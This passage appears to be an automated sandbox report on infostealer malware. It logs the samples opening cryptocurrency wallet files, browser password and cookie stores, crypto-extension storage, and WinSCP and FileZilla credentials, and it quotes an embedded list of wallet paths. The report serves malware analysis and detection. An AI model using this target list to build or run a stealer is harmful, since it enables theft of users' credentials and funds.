Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2173975305.00000000056F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: 8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe, 00000005.00000003.2173975305.00000000056F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: LLNkfgDtZiUZkTn30_sZHJcE.exe, 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: set_UseMachineKeyStore
Source: FDsH_f9gemssdAs7w06vZwlL.exe, 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Opens network shares

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: \\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: \\config\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: \\config\
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: \\config\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\places.sqlite
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\signons.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\signons.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\formhistory.sqlite
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default\logins.json
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\CURRENT
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
